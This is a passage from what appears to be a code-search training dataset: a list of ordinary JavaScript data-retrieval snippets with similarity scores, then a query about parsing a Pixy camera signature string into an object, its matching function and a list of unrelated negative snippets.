}\n };\n //----------\n gw_com_module.callRequest(args);\n //----------\n $.unblockUI();\n //----------\n\n } else {\n\n var args = {\n target: [\n { type: \"FORM\", id: \"frmOption\" }\n ]\n };\n if (gw_com_module.objValidate(args) == false) return false;\n\n var args = {\n source: {\n type: \"FORM\", id: \"frmOption\", hide: true,\n element: [\n { name: \"dept_area\", argument: \"arg_dept_area\" },\n { name: \"ver_no\", argument: \"arg_ver_no\" }\n ],\n remark: [\n { element: [{ name: \"dept_area\" }] },\n { element: [{ name: \"ver_no\" }] }\n ]\n },\n target: [\n { type: \"GRID\", id: \"grdList_MAIN\" }\n ],\n clear: [\n { type: \"FORM\", id: \"frmData_MAIN\" }\n ]\n };\n gw_com_module.objRetrieve(args);\n\n }\n\n\n\n}", "function getEmployee(param) {\n var returnObj = {};\n returnObj.returnType = {\n \"Content-Type\" : \"application/json\"\n };\n\n\n var employee = lookupEmployeeById(param);\n \n returnObj.content = employee;\n returnObj.content = JSON.stringify(returnObj.content);\n\n return returnObj;\n}", "function loadAuditRecord(type)\r\n{\r\n\tvar recordID = nlapiGetRecordId();\r\n\r\n\tauditRec = nlapiLoadRecord('customrecord_invoiceaudit', recordID);\r\n\tnlapiLogExecution('DEBUG', 'csv', auditRec.getFieldValue('custrecord_payload'));\r\n}", "function retrieve() {\r\n var context = new SP.ClientContext.get_current();\r\n var oList = context.get_web().get_lists().getByTitle('MyTimesheet');\r\n var camlQuery = new SP.CamlQuery();\r\n camlQuery.set_viewXml('<View><Query><OrderBy><FieldRef Name=\\'Title\\' ' + 'Ascending=\\'TRUE\\' /></OrderBy></Query><ViewFields><FieldRef Name=\\'Id\\' /><FieldRef Name=\\'Title\\' /><FieldRef Name=\\'Year\\' /><FieldRef Name=\\'Total\\' /><FieldRef Name=\\'Status\\' /></ViewFields></View>');\r\n window.collListItem = oList.getItems(camlQuery);\r\n context.load(collListItem, 'Include(Id, Title, Year, Total, Status)');\r\n context.executeQueryAsync(Function.createDelegate(this, window.onQuerySucceeded),\r\n Function.createDelegate(this, window.onQueryFailed));\r\n}", "function getEmployeeByListID(info) {\n\t\t\t\t\t\t\t\treturn Restangular.all(\n\t\t\t\t\t\t\t\t\t\tRestEndpoint.THE_SIGN_CA_URL\n\t\t\t\t\t\t\t\t\t\t\t\t+ \"/getEmployeeByListID\").post(info);\n\t\t\t\t\t\t\t}", "_getResults_Read_(req, res) {\n let returnedData = {}; // to construct response\n let rowID = req.params.id; // to Recieve table ID\n\n Model._GET_getResults_DATA_(rowID)\n .then(result => {\n // Check Error\n if (result.errno) throw result.sqlMessage;\n\n // Constructing Response\n returnedData['response_code'] = 0;\n returnedData['response_message'] = 'Success';\n returnedData['data'] = JSON.parse(result);\n // logMessage(Info, JSON.stringify(returnedData));\n res.send(200, returnedData); // Return Res\n })\n .catch(error => {\n // Constructing Response\n returnedData['response_code'] = 10;\n returnedData['response_message'] = 'Error: DataBase Error';\n\n logMessage(logError, error);\n res.send(500, returnedData); // Return Res\n });\n }", "function request_latest_records()\r\n{\r\n //sock_send_str('{ \"msg_type\": \"rt_request\", \"request_id\": \"A\", \"options\": [ \"latest_records\" ] }');\r\n var msg = { options: [ 'latest_records' ] };\r\n rt_mon.request('A',msg,handle_records);\r\n}", "function getRecordedData(id, startTime, endTime) {\n\tvar reqTS = \"&requestTimestamp=\" + (new Date().getTime());\n return webRequest(apiRoot + \"/streams/\" + id + \"/recorded?starttime=\" + startTime + \"&endtime=\" + endTime + \"&selectedfields=items.timestamp;items.value\" + reqTS);\n}", "function GetAllDefectiveDamaged() {\n try {\n \n var data = {};\n var ds = {};\n ds = GetDataFromServer(\"DefectiveorDamaged/GetAllDefectiveDamaged/\", data);\n \n if (ds != '') {\n ds = JSON.parse(ds);\n }\n if (ds.Result == \"OK\") {\n \n return ds.Records;\n }\n if (ds.Result == \"ERROR\") {\n alert(ds.Message);\n }\n }\n catch (e) {\n notyAlert('error', e.message);\n }\n}", "function processRetrieve(param) {\n\n var args = {\n target: [\n { type: \"FORM\", id: \"frmOption\" }\n ]\n };\n if (gw_com_module.objValidate(args) == false) return false;\n\n var args = {\n source: {\n type: \"FORM\", id: \"frmOption\",\n element: [\n { name: \"dept_area\", argument: \"arg_dept_area\" },\n { name: \"yyyy\", argument: \"arg_yyyy\" },\n { name: \"rev\", argument: \"arg_rev\" },\n { name: \"item_no\", argument: \"arg_item_no\" },\n { name: \"item_nm\", argument: \"arg_item_nm\" }\n ],\n argument: [\n { name: \"arg_supp_cd\", value: gw_com_module.v_Session.USR_ID }\n ],\n remark: [\n { element: [{ name: \"dept_area\" }] },\n { element: [{ name: \"yyyy\" }] },\n { element: [{ name: \"rev\" }] },\n { element: [{ name: \"item_no\" }] },\n { element: [{ name: \"item_nm\" }] }\n ]\n },\n target: [\n { type: \"FORM\", id: \"frmData_MAIN\" }\n ]\n };\n //----------\n $.blockUI();\n //----------\n var param = {\n type: args.source.type,\n targetid: args.source.id,\n row: args.source.row,\n element: args.source.element,\n argument: args.source.argument\n };\n var data = gw_com_module.elementtoARG(param);\n args.param = data.query;\n var param = {\n type: args.source.type,\n id: args.source.id,\n row: args.source.row,\n remark: args.source.remark\n };\n var remark = gw_com_module.elementtoRemark(param);\n args.remark = remark;\n if (args.source.hide)\n $(\"#\" + args.source.id).hide();\n\n var args = {\n request: \"PAGE\",\n name: \"SRM_2510_SUPP_P_1\",\n async: false,\n param: args,\n url: \"../Service/svc_Data_Retrieve_JSONs.aspx\" +\n \"?QRY_ID=SRM_2510_SUPP_P_1\" +\n \"&QRY_COLS=nm,val\" +\n \"&CRUD=R\" +\n \"&arg_data_tp=H\" + args.param,\n handler_success: function (data) {\n\n v_global.logic.header = data;\n v_global.logic.header2 = new Array();\n $.each(data, function () {\n if (this.DATA[0] == \"req_date\") {\n v_global.logic.header2.push(\"req_qty_\" + this.DATA[1]);\n v_global.logic.header2.push(\"plan_qty_\" + this.DATA[1]);\n } else {\n v_global.logic.header2.push(this.DATA[0]);\n }\n });\n getData(this.param);\n\n }\n };\n //----------\n gw_com_module.callRequest(args);\n //----------\n $.unblockUI();\n //----------\n\n}", "function getData(){\n return runSOQL('SELECT+name+from+Account');\n}", "@wire(searchRecordList, {objectApi: CONTACT_OBJECT, fields:FIELDS, filterVars:'$filterVars', offset:0, limits:'$pageSize'})\n wire_getRecordList({error, data}){\n this.contactList = [];\n this.total = 0;\n if (data){\n (data.result || []).forEach(e=>{\n this.contactList.push(JSON.parse(JSON.stringify(e)));\n });\n this.total = data.count;\n this.renderDropItems();\n console.log(data.count);\n }else if (error){\n this.error = error;\n }\n }", "function OpprotunitywebApi(executionContext) {\n var formContext = executionContext.getFormContext();\n var accountlookup = formContext.getAttribute(\"parentaccountid\").getValue()[0].id;\n accountGuid = accountlookup.substring(1, 37);\n var req = new XMLHttpRequest();\n req.open(\"GET\", Xrm.Page.context.getClientUrl() + \"/api/data/v9.1/accounts(\" + accountGuid + \")?$select=name,_primarycontactid_value\", true);\n req.setRequestHeader(\"OData-MaxVersion\", \"4.0\");\n req.setRequestHeader(\"OData-Version\", \"4.0\");\n req.setRequestHeader(\"Accept\", \"application/json\");\n req.setRequestHeader(\"Content-Type\", \"application/json; charset=utf-8\");\n req.setRequestHeader(\"Prefer\", \"odata.include-annotations=\\\"*\\\"\");\n req.onreadystatechange = function () {\n if (this.readyState === 4) {\n req.onreadystatechange = null;\n if (this.status === 200) {\n var result = JSON.parse(this.response);\n var name = result[\"name\"];\n var _primarycontactid_value = result[\"_primarycontactid_value\"];\n var _primarycontactid_value_formatted = result[\"_primarycontactid_value@OData.Community.Display.V1.FormattedValue\"];\n var _primarycontactid_value_lookuplogicalname = result[\"_primarycontactid_value@Microsoft.Dynamics.CRM.lookuplogicalname\"];\n alert(name);\n alert(_primarycontactid_value);\n alert(_primarycontactid_value_formatted);\n alert(_primarycontactid_value_lookuplogicalname);\n } else {\n Xrm.Utility.alertDialog(this.statusText);\n }\n }\n };\n req.send();\n}", "function getTicketData(domain){\n client.data.get('ticket').then(\n function (data)\n {\n var ticket_user_id = data.ticket.requester_id;\n request(domain, ticket_user_id);\n },\n function (error) {\n alert(error.status + \": \" + error.response + \", Please reach out to IT team\");\n }\n );\n }", "function GetCreditNotesdByID(id) {\n try {\n var data = { \"id\": id };\n var ds = {};\n ds = GetDataFromServer(\"CreditNotes/GetCreditNotesByID/\", data);\n if (ds != '') {\n ds = JSON.parse(ds);\n }\n if (ds.Result == \"OK\") {\n return ds.Records;\n }\n if (ds.Result == \"ERROR\") {\n alert(ds.Message);\n }\n }\n catch (e) {\n notyAlert('error', e.message);\n }\n}", "function lookupRecord(store = \"person-records\", id= -1) {\n // ..\n}", "getNodeInformation() {\n return this.query('/', 'GET');\n }", "function getDataFromTable() {\n var parameterName = $.request.parameters.get('insert_parameter_here'); // Get the parameters from HTTP GET\n var conn = $.db.getConnection(); // SQL Connection\n var pstmt; // Prepare statement\n var rs; // SQL Query results\n var query; // SQL Query statement\n var output = { // Output object\n results: [] // Result array\n };\n var record = {}; // Record object\n try {\n // # might remove hard-coded schema name, and table name\n query = 'SELECT attribute_id, attribute_name, attribute_country FROM \\\"schema_name\\\".\\\"table_name\\\" WHERE attribute_name = ?';\n pstmt = conn.prepareStatement(query);\n pstmt.setString(1, parameterName);\n rs = pstmt.executeQuery(); // Execute query; Get items from SAP HANA\n\n // Push fetched data to Result array\n while (rs.next()) {\n record = {};\n record.parameterID = rs.getString(1);\n record.parameterName = rs.getString(2);\n record.parameterCountry = rs.getString(3);\n output.results.push(record);\n }\n\n conn.commit(); // Prevent deadlock by allowing a cocurrent SQL query to wait until this statement is fully executed\n rs.close(); // Close statements & connections\n pstmt.close();\n conn.close();\n } catch (e) {\n // Catch error if parameters are incorrect\n $.response.status = $.net.http.INTERNAL_SERVER_ERROR;\n $.response.setBody(e.message);\n return;\n }\n // Output respond into JSON body\n var body = JSON.stringify(output);\n $.response.contentType = 'application/json';\n $.response.setBody(body);\n $.response.status = $.net.http.OK;\n}", "downloadRates(params) {\n return Resource.get(this).resource('Employee:downloadRetailers', params);\n }", "function getEasyLoadRecordsFromDb(){\n\t\t$http.get(\"/easyloadList\").then(\n\t\t\t\tfunction(res){\n\t\t\t\t\t$scope.easyLoadRecords = res.data;\n\t\t\t\t\tconsole.log(\"data found from data base\");\n\t\t\t\t\tconsole.log(res);\n\t\t\t\t},\n\t\t\t\tfunction(err){\n\t\t\t\t\tconsole.log(\"data not found from database something wrong\");\n\t\t\t\t})\n\t}", "@wire(searchRecordList, {objectApi: CONTACT_OBJECT, fields:FIELDS, filterVars:'$filterVars', offset:0, limits:100})\n wire_getRecordList({error, data}){\n this.contactList = [];\n this.total = 0;\n if (data){\n console.log('query contacts:');\n \n (data.result || []).forEach(e=>{\n console.log(JSON.stringify(e));\n this.contactList.push(JSON.parse(JSON.stringify(e)));\n });\n this.total = data.count;\n this.renderDropItems();\n console.log(data.count);\n }else if (error){\n this.error = error;\n }\n }", "function getUser(id) {\n fetch('http://dummy.restapiexample.com/api/v1/employee/' + id).then(resp => resp.json()).then(data => console.log(data));\n}", "constructor(record) {\n this.id = record.get('id');\n this.addresses = record.get('addresses'); \n this.role = (record.get('role') || '').trim();\n this.database = record.get('database');\n this.dbms = {};\n this.driver = null;\n this.observations = new Ring(MAX_OBSERVATIONS);\n this.errors = {};\n }", "function getPatientDemo(args, finished) {\n var patientid = args.req.headers.patientid;\n var duz = args.session.data.$('duz').value;\n var session = args.session;\n params = {\n rpcName: 'ORWPT SELECT',\n rpcArgs: [{\n type: 'LITERAL',\n value: patientid\n }],\n context: \"OR CPRS GUI CHART\",\n duz: duz\n };\n var response = runRPC.call(this, params, session, true);\n //{\"type\":\"SINGLE VALUE\",\"value\":[\"CARTER,DAVID\",\"M\",\"2591003\",\"543236666\",\"\",\"\",\"\",\"\",\"0\",\"\",\"0\",\"0\",\"\",\"\",\"58\",\"0\"]}\n console.log('login response: ' + JSON.stringify(response));\n var values = response.value;\n var results = {\n PatientName: values[0],\n Sex: values[1],\n Dob: values[2],\n SSN: values[3],\n Age: values[14]\n };\n finished(results);\n}", "debugEndpointProvider() {\n console.log(this.epProvider.getEndPointByName('allData'));\n console.log(this.epProvider.buildEndPointWithQueryStringFromObject({\n limit: 10,\n sort: 'title',\n page: 1,\n filter: 'marketing-automation,ad-network',\n direction: 1,\n }, '/fetch-all'));\n }", "function getRestDataLoc(rid) {\n return \"restaurants/\" + rid;\n}", "getRecord({ commit, dispatch }, Dot) {\n\n api('records/dot/' + Dot, Dot)\n .then(res => {\n\n commit('setActiveRecord', res.data.data[0])\n })\n .catch(err => {\n commit('handleError', err)\n })\n }", "function GetAllQualificationRecords(url) {\n $scope.quaMasterArray = [];\n //console.log(\"List Call\");\n var promiseGet = CRUD_SERVICE.getAllData(url);\n promiseGet.then(function (pl) {\n $scope.StudentQualificationDocuments = pl.data;\n },\n function (errorPl) {\n $log.error('Some Error in Getting Records.', errorPl);\n });\n }", "function getData(listName) {\n var dataResults;\n $.ajax({\n url: _spPageContextInfo.webAbsoluteUrl + getUrl(listName),\n type: \"GET\",\n headers: {\n \"accept\": \"application/json;odata=verbose\",\n },\n success: function (data) {\n dataResults = data.d.results;\n },\n error: function (error) {\n alert(JSON.stringify(error));\n }\n });\n return dataResults;\n}", "getRefferalAndAngentList(){\nreturn this.get(Config.API_URL + Constant.REFFERAL_GETREFFERALANDANGENTLIST);\n}", "function getServiceDetail(req, res) {\n var PORecord = {};\n serviceOrder.findOne({ _id: req.body.orderId })\n .populate('poId')\n .populate('companyId', '_id company')\n .populate('customerId', '_id companyName')\n .populate('requestedBy', '_id firstname lastname')\n .populate('salesRep', '_id firstname lastname')\n .populate('opportunityId', 'title')\n .populate('billingCompanyId', 'companyName')\n .populate('orderTypeId')\n .populate('estimateId', 'estimateNumber')\n .populate('projectId', 'title')\n .populate('contractId', 'orderContractName')\n .exec(function (err, PoDetail) {\n if (err) {\n res.json({ code: Constant.ERROR_CODE, message: err });\n } else {\n PORecord.orderDetails = PoDetail;\n\n OrderItems.find({ orderId: req.body.orderId }, function (err, itemlist) {\n if (err) {\n res.json({ code: Constant.ERROR_CODE, message: err });\n }\n else {\n PORecord.itemLists = itemlist;\n res.json({ code: Constant.SUCCESS_CODE, message: Constant.SERVICE_ORDER_DETAIL, data: PORecord });\n }\n }).sort({ _id: 1 });\n }\n });\n}", "function GetSellerLocation(){\n let method = \"GET\";\n let url = \"/Seller/GetAllSellerLocationAndIdAndName\";\n return SendRequestReturnAPromise(method, url);\n\n}", "fetchEmployeeFromTransaction(params) {\r\n return Api().get('/employeetransactions/' + params)\r\n }", "function eDataDataTable(){\r\n\ttdType='3';\r\n\tvar url = 'productId.testobjectdata.attachments.list?productId='+productId+'&jtStartIndex=0&jtPageSize=10000';\r\n\tvar jsonObj = \t{\r\n\t\t\t\t\t\t\"Title\":\"EData\",\r\n\t\t\t\t\t\t\"url\":url,\r\n\t\t\t\t\t\t\"jtStartIndex\":0,\r\n\t\t\t\t\t\t\"jtPageSize\":1000,\r\n\t\t\t\t\t\t\"componentUsageTitile\":\"Test Data Plan\"\r\n\t\t\t\t\t};\r\n\tassignEDataDataTableValues(jsonObj);\r\n}", "getAgentRefferal(data){\nreturn this.post(Config.API_URL + Constant.AGENT_GETAGENTREFFERAL, data);\n}", "function GetEmployeeDataServer()\n{\n makeServiceCall(\"GET\", site_properties.server_url, true)\n .then(responseText => {\n employeePayrollList = JSON.parse(responseText);\n ProcessResponse();\n })\n .catch(error => {\n console.log(\"GET Error Status: \" + JSON.stringify(error));\n employeePayrollList = [];\n ProcessResponse();\n });\n}", "function processRetrieve(param) {\n\n var args = {\n target: [\n { type: \"FORM\", id: \"frmOption\" }\n ]\n };\n if (gw_com_module.objValidate(args) == false) return false;\n\n var args = {\n source: {\n type: \"FORM\", id: \"frmOption\", hide: true,\n element: [\n { name: \"evl_no1\", argument: \"arg_evl_no1\" },\n { name: \"evl_no2\", argument: \"arg_evl_no2\" },\n { name: \"user_id1\", argument: \"arg_user_id1\" }\n ],\n remark: [\n //{ infix: \",\", label: \"평가 :\", element: [{ name: \"evl_nm1\" }, { name: \"evl_nm2\" }] }\n { element: [{ name: \"user_nm1\" }] },\n { element: [{ name: \"evl_nm1\" }] },\n { element: [{ name: \"evl_nm2\" }] }\n ]\n },\n target: [ \n { type: \"CHART\", id: \"lyrChart_1\" },\n { type: \"GRID\", id: \"grdList_1\" },\n { type: \"CHART\", id: \"lyrChart_2\" },\n { type: \"CHART\", id: \"lyrChart_3\" },\n { type: \"CHART\", id: \"lyrChart_4\" },\n { type: \"GRID\", id: \"grdList_2\" }\n ],\n key: param.key\n };\n gw_com_module.objRetrieve(args);\n\n}", "getEmployees() {\n return this.http.get('http://dummy.restapiexample.com/api/v1/employees');\n }", "function getHistoricalRecCount() {\n\n\tdojo\n\t\t\t.xhrGet({\n\t\t\t\t// The following URL must match the destination\n\t\t\t\t// url:\n\t\t\t\t// \"http://webcomponentdemo13.alpha.vmforce.com/getHistoricalRecCount\",\n\t\t\t\t// url :\n\t\t\t\t// \"http://localhost:28093/webcomponent/getHistoricalRecCount\",\n\t\t\t\turl : \"http://localhost:28093/webcomponent/getHistoricalRecCount\",\n\t\t\t\t//url : \"http://mdmoncloud.alpha.vmforce.com/getHistoricalRecCount\",\n\t\t\t\thandleAs : \"text\",\n\t\t\t\ttimeout : 5000, // Time in milliseconds\n\n\t\t\t\t// The LOAD function will be called on a successful response.\n\t\t\t\tload : function(response, ioArgs) { //\n\t\t\t\t\tserverResponse = response;\n\t\t\t\t\t// alert(\"serverResponse \"+serverResponse);\n\t\t\t\t\tstatArray = serverResponse.split(\"|\");\n\t\t\t\t\t// alert(\"statArray \"+statArray);\n\t\t\t\t\tnumberOfRecPropcessed1 = statArray[0];\n\t\t\t\t\tnumberOfRecPropcessed2 = statArray[1];\n\t\t\t\t\tnumberOfRecPropcessed3 = statArray[2];\n\t\t\t\t\tnumberOfRecPropcessed4 = statArray[3];\n\t\t\t\t\treturn response; // \n\t\t\t\t},\n\n\t\t\t\t// The ERROR function will be called in an error case.\n\t\t\t\terror : function(response, ioArgs) { // \n\t\t\t\t\tconsole.error(\"HTTP status code: \", ioArgs.xhr.status); //\n\t\t\t\t\tdojo.byId(\"replace\").innerHTML = 'Loading the ressource from the server has failed'; // \n\t\t\t\t\treturn response; // \n\t\t\t\t},\n\n\t\t\t\t// Here you put the parameters to the server side program\n\t\t\t\t// We send two hard-coded parameters\n\t\t\t\tcontent : {\n\t\t\t\t\tname : \"lars\",\n\t\t\t\t\turl : \"testing\"\n\t\t\t\t}\n\t\t\t});\n\n}", "_get(resource) {\n return this._request(Request.get('https://api.parse.com/1/' + resource));\n }", "function processRetrieve(param) {\n\n var args = {\n source: { type: \"FORM\", id: \"frmOption\",\n element: [ { name: \"qc_seq\", argument: \"arg_qc_seq\" } ]\n },\n target: [\n\t\t { type: \"FORM\", id: \"frmData_Main\" },\n\t\t { type: \"GRID\", id: \"grdData_Sub\" }\n\t\t],\n key: param.key\n };\n\n gw_com_module.objRetrieve(args);\n\n}", "function getRestDataLoc(rid) {\n return \"restaurants/\" + rid + \"/\";\n}", "get record() {\n return this.form.record;\n }", "function processRetrieve(param) {\n //$(\"#\" + \"td_ALD04_PM01\").css(\"background-color\", \"#FF0000\");\n\n var d1 = new Date();\n\n //장비상태 retrieve\n var args = {\n target: [\n { type: \"GRID\", id: \"grdData_List\" }\n ],\n handler: {\n complete: processRetrieveEnd,\n param: {\n time1: d1.format(\"HH시 mm분 ss초\")\n }\n },\n };\n gw_com_module.objRetrieve(args);\n}", "getDataObj(payload){ // payload = {storeName (req), id, stateName}\n var dataObj = null;\n var stateName = 'form';\n var tableID;\n\n if (payload.hasOwnProperty('stateName') && payload.stateName) stateName = payload.stateName;\n// comment out eventually\n else if (payload.hasOwnProperty('isOrig') && payload.isOrig) stateName = 'database';\n\n if (payload.hasOwnProperty('storeName')){\n\n // confirm storeName exists\n if(this.state[stateName].hasOwnProperty(payload.storeName)){\n // if id was included sent\n if( payload.hasOwnProperty('id') && payload.id ){\n tableID = this.getStoreTableID(payload);\n if(tableID){\n dataObj = this.state[stateName][payload.storeName].find(function(o){\n // if item is object, compare to val property [updated version, for more detail per field (properites)]\n if(typeof(o[tableID]) === 'object') return o[tableID].val == payload.id;\n else return o[tableID] == payload.id;\n });\n }\n }\n else{ //formData, record, formFields (in Builder Fields Table)\n dataObj = this.state[stateName][payload.storeName];\n }\n }\n else if (this.errDebug) console.error(\"ERROR: getDataObj:\\t\\tobject does not exist - \" + this.payloadToStr(payload));\n }\n else if (this.errDebug) console.error(\"ERROR: getDataObj:\\t\\tpayload - storename - \" + this.payloadToStr(payload));\n\n return dataObj;\n }", "workitemWithId (baseUrl,username,spacename,id){\n browser.get(baseUrl + username + \"/\" + spacename +\"/plan/detail/\" +id);\n }", "function retrieveAllAccountData() {\n\tvar cellName = sessionStorage.selectedcell;\n\tvar totalRecordCount = retrieveAccountRecordCount();\n\tvar baseUrl = getClientStore().baseURL;\n\tvar accessor = objCommon.initializeAccessor(baseUrl, cellName);\n\tvar objAccountMgr = createAccountManager();\n\tvar uri = objAccountMgr.getUrl();\n\turi = uri + \"?$orderby=__updated desc &$top=\"\n\t\t\t+ totalRecordCount;\n\tvar restAdapter = _pc.RestAdapterFactory.create(accessor);\n\tvar response = restAdapter.get(uri, \"application/json\");\n\tvar json = response.bodyAsJson().d.results;\n\treturn json;\n}" ]
[ "0.68510777", "0.6305851", "0.591205", "0.58373946", "0.58133996", "0.5803369", "0.56339526", "0.56004643", "0.5559951", "0.55596066", "0.55547297", "0.55530727", "0.5504252", "0.5496198", "0.54787", "0.54645765", "0.5455028", "0.5450933", "0.5424243", "0.53918463", "0.53908753", "0.53818035", "0.53790957", "0.53735363", "0.5370768", "0.5363426", "0.5361798", "0.5361085", "0.5359382", "0.5357667", "0.53566396", "0.5340313", "0.5340213", "0.5330634", "0.53267896", "0.5321323", "0.5303446", "0.5303236", "0.52984744", "0.5292714", "0.52802205", "0.52723587", "0.5266245", "0.5257232", "0.52485895", "0.524488", "0.5227571", "0.5224094", "0.5217219", "0.52158684", "0.51900953", "0.51868135", "0.5181576", "0.5169036", "0.51685816", "0.5167898", "0.5164773", "0.51605177", "0.5159033", "0.51484525", "0.5135388", "0.5135165", "0.5127721", "0.5124286", "0.5123593", "0.51192594", "0.51091444", "0.509887", "0.509706", "0.50784296", "0.507405", "0.50721115", "0.5064351", "0.5051004", "0.50437456", "0.5038752", "0.5033146", "0.5030095", "0.5028855", "0.502837", "0.50238305", "0.50221014", "0.500681", "0.50054675", "0.50049305", "0.50036716", "0.50028425", "0.5001585", "0.50001425", "0.49977118", "0.4994428", "0.4994378", "0.49919525", "0.49898297", "0.49856952", "0.4976424", "0.4971876", "0.49666443", "0.49658164", "0.49648124" ]
0.50337696
76
Transform string with the signature "sig: 1 x: 117 y: 138 width: 60 height: 41" to a valid js object
function parsePixyObject (data) { const obj = {} const splitted = data.split(/:? /) splitted.forEach((v, i) => { if (i & 1) obj[splitted[i - 1]] = +splitted[i] }) return obj }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function coordinatesFromHexStr(str) {\n\n var x, y;\n var ratio_x = that._hexToPercent(str.substring(0, 4)) / 100;\n var ratio_y = that._hexToPercent(str.substring(4, 8)) / 100;\n\n if (framesize.decoded.height === 0) {\n x = ratio_x * getWidth();\n y = ratio_y * getHeight();\n } else {\n var calculated_height = framesize.decoded.height * framesize.displayed.width * framesize.displayed.scale / framesize.decoded.width;\n var calculated_width = framesize.displayed.width * framesize.displayed.scale; //framesize.decoded.width * framesize.displayed.height / framesize.decoded.height ;\n var offsetHeight = (calculated_height - framesize.displayed.height) / 2;\n var offsetWidth = (calculated_width - (framesize.displayed.width * framesize.displayed.scale)) / 2;\n x = (((ratio_x * calculated_width) - offsetWidth));\n y = (((ratio_y * calculated_height) - offsetHeight));\n }\n\n\n return {\n x: Math.round(x),\n y: Math.round(y)\n }\n }", "function intakeLineToObject(s){\n\ts = s.trim();\n\t//C indicates capturing, NC non-capturing\n\t//1#C \tindex\t\t(1+ [0-9] followed by # or \n\t// \t\t\t\t\t1+ [0-9] followed by . and 1+ [0.9] followed by #) optional\n\t//NC\t\t\t\t(0+ spaces)\n\t//2#C\tallergens\t(* then something then *) optional\n\t//NC\t\t\t\t(0+ spaces)\n\t//3#C \tfood\t\t(anything)\n\t//NC\t\t\t\t(: then 0+ spaces)\n\t//4#C \tquantities\t(anything else) optional\n\n\tvar r = s.match(/([0-9]+#|[0-9]+\\.[0-9]+#)?(?:\\s*)(\\*.*\\*)?(?:\\s*)(\\D.*)(?::\\s*)(.*)?/);\t\n\tvar keys = [\"ind\", \"alg\", \"sub\", \"qty\"];\n\tvar o = {}, fill;\n\t//i is index\n\tif(r){\n\t\tkeys.map((el, i) => {\n\t\t\tfill = r[i+1];\n\t\t\tif(fill == undefined){\n\t\t\t\tfill = \"\";\n\t\t\t}\n\t\t\to[el] = fill;\n\t\t});\n\t\to.tl =\to.ind.length + \n\t\t\t\to.alg.length + \n\t\t\t\to.sub.length;\t\t\n\t\treturn o;\n\t}\n}", "function makeSignature(s) {\n if (typeof s !== \"string\")\n throw Error(`vbios.makeSignature(): Signature must be a string, not '${typeof s}'`);\n\n if (s.length < 2 || s.length > 4)\n throw Error(`vbios.makeSignature(): Signature size must be between 2-4 characters, not '${s.length}'`);\n\n const a = s.charCodeAt(0);\n const b = s.charCodeAt(1);\n const c = s.charCodeAt(2) || 0;\n const d = s.charCodeAt(3) || 0;\n return (d << 24) | (c << 16) | (b << 8) | a;\n}", "extractCode(str) {\n //console.log((new Buffer(str, 'base64')))\n let res = {}, length;\n // move the data into a byte array\n let arr = str;\n res.partType = arr[0]; // should be one of the PART_COMBINATIONS values\n length = arr[1]; // length of the first key part\n let c = 2;\n res.part1 = arr.slice(c, c + length);\n c += length;\n length = arr[c]; // length of the second key part\n c += 1;\n res.part2 = arr.slice(c, c + length);\n let keylength = arr[c + length];\n c += length + 1;\n res.pad1 = arr.slice(c, c + keylength);\n c += keylength;\n res.pad2 = arr.slice(c, c + keylength);\n return res;\n }", "function getSignatureFromHex(signatureHex) {\r\n const signatureBuffer = Buffer.from(signatureHex, \"hex\");\r\n const r = new bn_js_1.default(signatureBuffer.slice(0, 32).toString(\"hex\"), 16, \"be\");\r\n const s = new bn_js_1.default(signatureBuffer.slice(32).toString(\"hex\"), 16, \"be\");\r\n return { r, s };\r\n}", "function deserializeSignature(readStream) {\r\n if (!readStream.hasRemaining(exports.MIN_SIGNATURE_LENGTH)) {\r\n throw new Error(`Signature data is ${readStream.length()} in length which is less than the minimimum size required of ${exports.MIN_SIGNATURE_LENGTH}`);\r\n }\r\n const type = readStream.readByte(\"signature.type\", false);\r\n let input;\r\n if (type === IEd25519Signature_1.ED25519_SIGNATURE_TYPE) {\r\n input = deserializeEd25519Signature(readStream);\r\n }\r\n else {\r\n throw new Error(`Unrecognized signature type ${type}`);\r\n }\r\n return input;\r\n}", "function parseImageId(imageId) {\n\n debugger;\n parseOrientation(test);\n return obj = {\n requestedOrientation: \"A\",\n sliceNumber: 0\n };\n}", "function svg2xy(svgString, sliceDimensions) {\n\n //These 2 values ultimately need to come from the server AND get passed into the main function.\n // var sliceDimensions = {\n // width: 620,\n // height: 750\n // };\n // var svgString = $('#area').val();\n\n\n var svgConverter = new svgClass();\n\n //Convert raw SVG data to WKT format\n var wktString = svgConverter.SVGtoWKT.convert(svgString);\n //converts WKT data to [[x,y],[x,y]]\n var coordinates = wkt2xyCoordinates(wktString,sliceDimensions);\n\n //optional\n // drawPointsToCanvas(coordinates);\n return coordinates;\n}", "function transformFromString(str) {\n var transformStrings = str.match(/(scale|rotate|translate|skewX|skewY)\\([^\\)]+\\)/g);\n var transformList = [];\n transformStrings.forEach(function(t) {\n var type = t.match(/[a-zA-Z]+/g)[0];\n var values = t.match(/[0-9.\\-]+/g);\n transformList.push({\n 'type': type,\n 'values': values\n });\n });\n return transformList;\n}", "parseTimeSignature(timeSigString) {\n if(/^\\d+\\/\\d+$/.test(timeSigString)){\n const [beatsPerMeasure, beatUnit] = timeSigString.split(\"/\");\n console.log(beatsPerMeasure, beatUnit)\n const timeSignature = new TimeSignature(parseInt(beatsPerMeasure), parseInt(beatUnit));\n return timeSignature;\n } else {\n throw new Error(`The provided time signature is not in proper format: '${timeSigString}'. Try providing a time signature that follows this pattern: '3/4'`);\n }\n }", "static str2seg(str)\n {\n let yi, xi;\n switch (str[0]) {\n case 'U': yi = -1; xi = 0; break;\n case 'D': yi = 1; xi = 0; break;\n case 'R': yi = 0; xi = 1; break;\n case 'L': yi = 0; xi = -1; break;\n }\n return {\n yi,\n xi,\n count: Number(str.slice(1)),\n };\n }", "signatureExport (obj, sig) {\n const sigR = sig.subarray(0, 32)\n const sigS = sig.subarray(32, 64)\n if (new BN(sigR).cmp(ecparams.n) >= 0) return 1\n if (new BN(sigS).cmp(ecparams.n) >= 0) return 1\n\n const { output } = obj\n\n // Prepare R\n let r = output.subarray(4, 4 + 33)\n r[0] = 0x00\n r.set(sigR, 1)\n\n let lenR = 33\n let posR = 0\n for (; lenR > 1 && r[posR] === 0x00 && !(r[posR + 1] & 0x80); --lenR, ++posR);\n\n r = r.subarray(posR)\n if (r[0] & 0x80) return 1\n if (lenR > 1 && (r[0] === 0x00) && !(r[1] & 0x80)) return 1\n\n // Prepare S\n let s = output.subarray(6 + 33, 6 + 33 + 33)\n s[0] = 0x00\n s.set(sigS, 1)\n\n let lenS = 33\n let posS = 0\n for (; lenS > 1 && s[posS] === 0x00 && !(s[posS + 1] & 0x80); --lenS, ++posS);\n\n s 